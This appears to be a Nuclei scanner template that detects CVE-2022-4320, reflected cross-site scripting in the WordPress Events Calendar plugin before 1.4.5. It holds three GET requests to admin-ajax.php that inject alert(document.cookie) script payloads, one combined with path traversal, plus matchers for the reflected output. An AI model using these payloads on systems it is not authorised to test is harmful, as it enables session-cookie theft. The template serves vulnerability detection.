id: CVE-2022-4320

info:
  name: WordPress Events Calendar Plugin - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Events Calendar Plugin < 1.4.5 - Multiple Reflected XSS
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4320
    - https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c
  remediation: Fixed in version 1.4.5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4320
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: calendar,event,xss,wordpress,wp,wp-plugin,cve,cve2022,wpscan

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script>'
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script>'
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script>'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'imgNavLeftXX\"><script>alert(document.cookie)</script>'
          - '<script>alert(document.cookie)</script>({});'
          - '><script>alert(document.cookie)</script>.js'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200